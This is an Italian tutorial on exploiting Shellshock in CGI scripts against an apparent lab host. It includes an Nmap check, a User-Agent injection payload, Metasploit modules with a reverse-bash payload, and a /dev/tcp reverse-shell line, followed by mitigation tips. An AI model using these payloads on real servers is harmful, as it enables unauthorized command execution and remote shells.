Tutorials

Shellshock Exploitation - CVE-2014-6271

La vulnerabilità Shellshock CVE-2014-6271 affligge la shell Bash nei sistemi Unix-like. Consente a un attaccante remoto di eseguire comandi arbitrari quando una variabile d'ambiente viene interpretata

#exploitation#linux#metasploit

Shellshock Exploitation - CVE-2014-6271

La vulnerabilità Shellshock (CVE-2014-6271) affligge la shell Bash nei sistemi Unix-like. Consente a un attaccante remoto di eseguire comandi arbitrari quando una variabile d'ambiente viene interpretata da Bash, in particolare attraverso applicazioni che invocano Bash, come CGI script nei web server.

1. Identificazione del Vettore di Input

Per sfruttare Shellshock, è necessario identificare un input vector che consenta di interagire direttamente con Bash. Nel contesto di un Apache Web Server, uno dei vettori più comuni è rappresentato dagli script CGI (Common Gateway Interface).

2. Scansione di vulnerabilità con Nmap

Per verificare se un server è vulnerabile, si può utilizzare il seguente comando:

bash
nmap -sV <ip_target> --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi"

Dove:

  • http-shellshock.uri indica il path verso lo script .cgi vulnerabile.
  • L'opzione -sV serve per identificare le versioni dei servizi in esecuzione.

3. Exploitation Manuale con Burp Suite

Passaggi:

1. Intercetta una richiesta GET verso l'URL che contiene lo script CGI, ad esempio:

bash
GET /gettime.cgi HTTP/1.1 Host: demo.ine.local

2. Invia la richiesta al Repeater. 3. Modifica l'header User-Agent per includere il payload Shellshock:

http
User-Agent: () { :; }; echo; echo; /bin/bash -c 'whoami'

4. Esegui la richiesta modificata e verifica se il comando viene eseguito. Se la risposta contiene l'output del comando (whoami), il sistema è vulnerabile.

Richiesta completa di esempio:

http
GET /gettime.cgi HTTP/1.1
Host: demo.ine.local
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; echo; echo; /bin/bash -c 'whoami'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

4. Exploitation con Metasploit

Step-by-step:

bash
sudo service postgresql start
msfconsole

Modulo di Scansione:

bash
search shellshock
use auxiliary/scanner/http/apache_mod_cgi_bash_env
set RHOSTS <ip_target>
set TARGETURI /gettime.cgi
run

Modulo di Exploit:

bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <ip_target>
set RPORT 80 (o 443 in caso di HTTPS)
set TARGETURI /gettime.cgi
set PAYLOAD cmd/unix/reverse_bash
set LHOST <tuo_ip>
set LPORT <porta_listener>
exploit

5. Note Tecniche Aggiuntive

  • Shellshock colpisce versioni di Bash fino alla 4.3.
  • Non solo User-Agent, ma anche altri header HTTP possono essere utilizzati come vettore (es. Referer, Cookie).
  • Può essere usata anche per privilege escalation se Bash è invocata da script con privilegi elevati.
  • Esempio payload per apertura reverse shell:
http
() { :; }; /bin/bash -i >& /dev/tcp/<tuo_ip>/<porta> 0>&1

6. Difesa e Mitigazione

  • Aggiornare Bash all'ultima versione disponibile.
  • Disabilitare o limitare l'uso di CGI scripts.
  • Utilizzare firewall o WAF per filtrare payload sospetti.
  • Monitorare accessi anomali ai path /cgi-bin/`.

7. Riferimenti


Hai bisogno anche di uno script Python per test automatici o un report d'esempio? Posso aiutarti a completare la guida.